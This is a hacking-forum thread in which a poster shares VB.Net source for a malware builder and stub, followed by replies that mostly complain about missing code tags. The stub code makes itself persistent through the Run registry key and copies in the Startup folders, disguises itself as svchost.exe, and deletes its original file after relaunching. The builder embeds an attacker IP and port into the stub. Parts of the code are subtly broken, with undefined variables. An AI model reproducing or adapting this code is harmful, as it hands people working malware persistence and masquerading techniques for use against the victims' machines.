Hack Forums
[.NET] VB.Net Builder [Startup, Regedit, Melt] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] VB.Net Builder [Startup, Regedit, Melt] (/showthread.php?tid=4746839)



VB.Net Builder [Startup, Regedit, Melt] - ImStw - Mar 25, 2015

Code:
Builder

Builder : prntscr.com/6l6j8w
Items: "2 TextBoxes", "3 CheckBoxes", "1 Button"
ipe.Text, portt.Text, cbStart.Checked, reg.Checked, melting.Checked, btnBuild.Click

Code
'Builder Code
Imports System.IO
Imports System.Net.Mail
Public Class Form1
    Dim IP, Port, Startup, Regedit, Melt As String
    Const spl = "asdf"
    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
      Dim s As New SaveFileDialog
      s.Title = "Save Server"
      s.Filter = "*.exe | *.exe"
      Dim stub As String
      Dim all As String = ""
      Const Filesplit = "FormStub"
      Dim temp As String = IO.Path.GetTempPath() & "stub.exe"
      s.ShowDialog()
      If s.FileName > "" Then
      IP = ip.Text
      Port = port.Text
      Startup = cbStart.Checked
      Regedit = reg.Checked
      Melt = melting.Checked
      File.WriteAllBytes(temp, My.Resources.stub)
      FileOpen(1, temp, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
      stub = Space(LOF(1))
      FileGet(1, stub)
      FileClose(1)
      FileOpen(1, s.FileName & ".exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
      FilePut(1, stub & spl & IP & spl & Port & spl & Startup & spl & Regedit & spl & Melt & spl)
      FileClose(1)
      MsgBox("Done!", MsgBoxStyle.OkOnly)
      End If
    End Sub
End Class

Stub : prntscr.com/6l6jef
Items: "2 TextBoxes", "3 CheckBoxes", "1 Timer"
IP.Text, Port.Text, cbStart.Checked, reg.Checked, melting.Checked, "StartupTimer = 7000 Interval, Enabled = False"

Code
'Stub Code
Public Class Form1
    Const spl = "asdf"
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
      FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read)
      Dim stub As String = Space(LOF(1))
      FileGet(1, stub)
      FileClose(1)
      'Options() with the () is important the () means it can be an array which we need Split(stub, Filesplit) is what connects them also
      Dim Options() As String = Split(stub, spl)
      IP.Text = Options(1)
      Port.Text = Options(2)
      cbStart.Checked = Options(3)
      reg.Checked = Options(4)
      melting.Checked = Options(5)

'Add to windows startup
      If cbStart.Checked = True Then
      Timer3.Enabled = True
      End If

'Add to regedit
      If reg.Checked = True Then
      Try
      Dim regKey As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
      regKey.SetValue(StartupKey, Application.ExecutablePath, Microsoft.Win32.RegistryValueKind.String) : regKey.Close()
      Catch : End Try
      End If

      If melting.Checked = True Then
      If Application.ExecutablePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe" Then
      If File.Exists(Path.GetTempPath & "melt.txt") Then
      Try : IO.File.Delete(IO.File.ReadAllText(Path.GetTempPath & "melt.txt")) : Catch : End Try
      End If
      Else

      If File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe") Then
      Try : IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe") : Catch : End Try
      IO.File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe")
      IO.File.WriteAllText(Path.GetTempPath & "melt.txt", Application.ExecutablePath)
      Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe")
      End
      Else
      IO.File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe")
      IO.File.WriteAllText(Path.GetTempPath & "melt.txt", Application.ExecutablePath)
      Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe")
      End
      End If
      End If
      End If
    End Sub

Code
Private Sub StartUp_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
      'Windows 7 startup User
      Try
      Dim file1 As String = Application.ExecutablePath
      Dim copy1 As String = "C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe"
      If File.Exists(copy1) Then
      Else
      System.IO.File.Copy(file1, copy1)
      End If
      Catch ex As Exception
      End Try

      'Windows XP startup User
      Try
      Dim file1 As String = Application.ExecutablePath
      Dim copy1 As String = "C:\Documents and Settings\" + Environment.UserName.ToString + "\Start Menu\Programs\Startup\svchost.exe"
      If File.Exists(copy1) Then
      Else
      System.IO.File.Copy(file1, copy1)
      End If
      Catch ex As Exception
      End Try
    End Sub
End Class



* - 0Boy - Mar 25, 2015

edit the thread, and put the code under the code tags.


* - N3w8i3H4ck3r - Mar 25, 2015

This post gave me temporary blindness.
PLZ FOR THE LOVE OF GOD USE CODE TAGS!


* - Ninja - Mar 25, 2015

Use the code tags. But besides that, nice tutorial. Instead of dumping code here you provided actual help.


* - Odus - Mar 25, 2015

(Mar 25, 2015 11:36 AM)Tyranitar Wrote:  But besides that, nice tutorial.

The code has far more flaws than merits and it really isn't worth taking the time to write a novel's worth report on them.

OP get rid of the adfly link, those belong only in the referrals section.


* - Ninja - Mar 25, 2015

(Mar 25, 2015 11:40 AM)Odus Wrote:  The code has far more flaws than merits and it really isn't worth taking the time to write a novel's worth report on them.

OP get rid of the adfly link, those belong only in the referrals section.

I didn't read the actual code, because it is all the same shit, but at least it is not a regular code dump, that is what I was trying to say.


* - nathan72389 - Mar 25, 2015

this code is direct from 2010.
but if you want to use EOF for writing settings:

Spoiler (Click to View)


* - SIM-2071734 - Mar 25, 2015

(Mar 25, 2015 10:59 AM)N3w8i3H4ck3r Wrote:  This post gave me temporary blindness.
PLZ FOR THE LOVE OF GOD USE CODE TAGS!

:( sorry bro i'm not leet so I can't +1 but you deserve it. Also this uses EOF as a storage method... DETECTED AS FUCK.


* - TazzyOpz - Mar 26, 2015

I feel as if this was Copy and pasted? None the less I can't prove it lol However there are a lot of source codes like that out there... Nice share I suppose. 🤝